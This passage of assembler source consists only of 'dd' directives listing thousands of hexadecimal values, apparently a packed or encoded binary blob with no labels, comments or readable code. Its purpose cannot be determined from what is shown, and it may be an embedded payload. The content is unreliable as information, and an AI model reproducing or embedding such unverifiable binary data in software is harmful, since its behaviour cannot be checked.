0A137984Eh dd 359AD285h, 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h dd 1D5C890Dh, 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h dd 84421500h, 7448C51h, 591913CAh, 0A8870EAFh, 78962640h dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h dd 297B0099h, 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h dd 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h dd 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h dd 0CB0126C3h dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h dd 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h, 0DD105180h dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh dd 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h dd 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h, 84135640h dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h dd 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh, 92148D03h dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h dd 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h dd 3A1672E6h, 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h dd 1489313h, 9F4A00D3h, 401625B6h, 83780208h, 311AB200h dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh dd 903119h, 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h, 8840541h dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h dd 0AD41F6h, 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh dd 92DF7430h, 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h dd 0CD290Eh, 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh dd 50C741Ah, 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h dd 3F29845h, 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h dd 0B847604Fh, 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh dd 6BE84700h, 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h dd 1B2089CCh, 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h dd 0AC8B8954h, 34E683h, 8AEAA267h, 63C41618h, 0E0985200h dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh dd 12C3AB7h, 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h dd 93AECFAh, 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h dd 90751ED3h, 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh dd 90C1300h, 22000E74h, 4950811Dh, 23581Eh, 47257531h dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h dd 77EA064h, 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh dd 8B2507E6h, 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h dd 1365AEB3h, 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh dd 0A54161E6h, 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h dd 79247C00h, 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh dd 47C7045Fh, 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h dd 50806F19h dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh dd 0F3942467h, 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh dd 99CB9238h, 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h dd 35B5A100h, 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h dd 2080EE93h, 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h dd 0F294834Bh, 383C22h, 334AE877h, 30BB354h, 0D0299200h dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h, 0E186926h dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah dd 66F0041h, 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h dd 95F8375h, 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh dd 40CFC90h, 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h dd 0C70441h, 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh, 68BC0800h dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh dd 0C05857DCh, 277007Ch, 5213C201h, 0B4EA00C1h, 1FE40E4Fh dd 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h dd 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h dd 0E3678410h, 0CA7DC0B8h dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh, 6394C9h dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch dd 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h dd 32125B3Bh, 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh dd 0E506ADA0h, 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h dd 0F0F35214h, 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h dd 5DFD6D0h, 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h dd 9B3D09h, 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h dd 0BD0FDCh, 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h dd 0C0756Dh, 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh dd 2FC0C08h, 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch dd 3203E259h, 0A4133D59h, 305A875h, 